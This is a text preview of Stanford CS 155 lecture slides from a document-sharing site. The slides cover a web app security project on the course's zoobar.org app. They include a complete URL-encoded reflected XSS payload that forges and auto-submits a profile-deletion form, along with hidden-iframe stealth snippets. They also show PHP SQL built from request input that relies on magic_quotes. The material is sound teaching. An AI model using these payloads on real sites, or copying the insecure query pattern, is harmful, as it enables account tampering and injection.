DOC PREVIEW
Stanford CS 155 - Lecture Notes

This preview shows page 1-2-20-21 out of 21 pages.

Save
View full document
View full document
Premium Document
Do you want full access? Go Premium and unlock all 21 pages.
Access to all documents
Download any document
Ad free experience
View full document
Premium Document
Do you want full access? Go Premium and unlock all 21 pages.
Access to all documents
Download any document
Ad free experience
View full document
Premium Document
Do you want full access? Go Premium and unlock all 21 pages.
Access to all documents
Download any document
Ad free experience
View full document
Premium Document
Do you want full access? Go Premium and unlock all 21 pages.
Access to all documents
Download any document
Ad free experience
Premium Document
Do you want full access? Go Premium and unlock all 21 pages.
Access to all documents
Download any document
Ad free experience

Unformatted text preview:

Project 2: Web App SecurityPart 1OverviewAttacksSanitizationExample: Profile DeleterFind vulnerabilityCopy form dataURL encodeDebuggingFixed versionFinal TestStealthier approachesPart 2GoalsFile structuretxt-db-apiDefenses to Part 1PHP Sanitization TechniquesMore XSS huntingGood luck!1Project 2: Web App SecurityCollin JacksonCS 155Spring 20072Part 1Attacks3Overview•Explore severalattack types•Requires botheffectiveness and stealth•Learn:•How an attacker can evade sanitization•Consequences of an exploit•JavaScript•Very basic CSS4A: Cookie TheftUse URL encodingCould hijack sessionC: Password TheftEvade sanitizationHandle DOM eventsemailAttacks B: Request ForgeryNavigate browserUse iframes, formsD: Profile WormPersistent attackReplicateszoobar.orglinkemailzoobar.orgformbadguy.comstanford.eduredirectbadguy.comzoobar.orgformzoobar.org5SanitizationWorks differently depending on context<tag property=" attackstring ">Attack: Break out with ' "Defense: escape quotes with \<body> attackstring </body>Attack: Launch script with < >Attack: Close off parent tag </tag>Defense: escape angle bracketseval( attackstring )Attack: Do whatever you wantDefense: Don’t do that6Example: Profile DeleterMalicious hyperlink deletes profile of user who clicks itOnly works when user logged inUser might have multiple tabs openMight have chosen/forgotten not to log outMight appear in another user’s profileUses vulnerability in users.php from Attack AConstructs profile deletion form and submits it???7Find vulnerabilitySite reflectsquery parameter in input fieldLink can includeanything wewant here8Copy form dataView sourceto find formfieldsCreate copycat form with ourmodifications9Close previous<input>,<form>Buttonclick triggersform submitURL encodehttp://scriptasylum.com/tutorials/encdec/encode-decode.htmlhttp://www.dommermuth-1.com/protosite/experiments/encode/index.html10DebuggingCheck errorIt didn’t work.Open JavaScriptconsoleUndefined No properties!Two formswith same name11Now withcorrectformFixed version12Profile deletedFinal Testusers.phpreplacedwith index.phphttp://zoobar.org/users.php?user=%22%3E%3C%2Fform%3E%3Cform%20method%3D%22POST%22%20name%3Dprofileform%0D%20%20action%3D%22%2Findex%2Ephp%22%3E%0D%3Ctextarea%20name%3D%22profile%5Fupdate%22%3E%3C%2Ftextarea%3E%3Cbr%2F%3E%0D%3Cinput%20type%3Dsubmit%20name%3D%22profile%5Fsubmit%22%20value%3D%22Save%20Profile%22%3E%3C%2Fform%3E%0D%3Cscript%3Edocument%2Eforms%5B1%5D%2Eprofile%5Fsubmit%2Eclick%28%29%3C%2Fscript%3E13Post form into hidden iframe <form name=F action=/index.php target=myframe>…<iframe name=myframe style=“visibility:hidden”>…Open page with form in hidden iframe<iframe name=myframe style=“visibility:hidden”>…<script>document.myframe.contentDocument.forms[0] .profile_update.value =“”;</script>Stealthier approaches14Part 2Defenses15Goals•Learn:•How easy it is to make mistakes•That even simple code can be hard to secure•Techniques for appropriate input validation•PHP•Very basic SQLLittle programming knowledge can be a dangerous thing16File structureindex.php users.phptransfer.phplogin.phpincludes/auth.php (cookie authentication)common.php (includes everything else)navigation.php (site template)db/zoobar/Person.txt (must be writable by web server)Includes /usr/class/cs155/projects/pp2/txt-db-api/…Only edit these files17txt-db-apiThird-party text file database libraryData can be int, string, and autoincrementNeed to escape strings: \' \" \\Actually magic_quotes_gpc does this for us$recipient = $_POST[‘recipient’]; // already escaped$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db->executeQuery($sql);if( $rs->next() )$id = $rs->getCurrentValueByName(‘PersonID’);18A: Cookie TheftC: Password TheftDefenses to Part 1 B: Request ForgeryAttack D: Profile Worm19PHP Sanitization Techniquesaddslashes(string)Prepends backslash to ' " \ Already done by magic_quotes_gpcInverse: stripslashes(string)htmlspecialc ha rs(string [, quote_style])Converts & < > " to HTML entitiesUse ENT_QUOTES to change ' to &#039; strip_tags (string, [, allowable_tags])Max tag length 1024Does not sanitize tag propertiespreg_replace(pattern, replacement, subject)More info: http://php.net20More XSS huntingLook for untrusted input used as outputNote sanitization already applied to each variableForm data has magic_quotes_gpc, db data does notSanitize the output if necessaryNo penalty for erring on the side of cautionBut sanitizing multiple times may lead to problemsNo credit for solving non-goals: SQL injection, etc.21Good


View Full Document

Stanford CS 155 - Lecture Notes

Documents in this Course
Lecture 5

Lecture 5

64 pages

Phishing

Phishing

31 pages

Load more
Download Lecture Notes
Our administrator received your request to download this document. We will send you the file to your email shortly.
Loading Unlocking...
Login

Join to view Lecture Notes and access 3M+ class-specific study document.

or
We will never post anything without your permission.
Don't have an account?
Sign Up

Join to view Lecture Notes 2 2 and access 3M+ class-specific study document.

or

By creating an account you agree to our Privacy Policy and Terms Of Use

Already a member?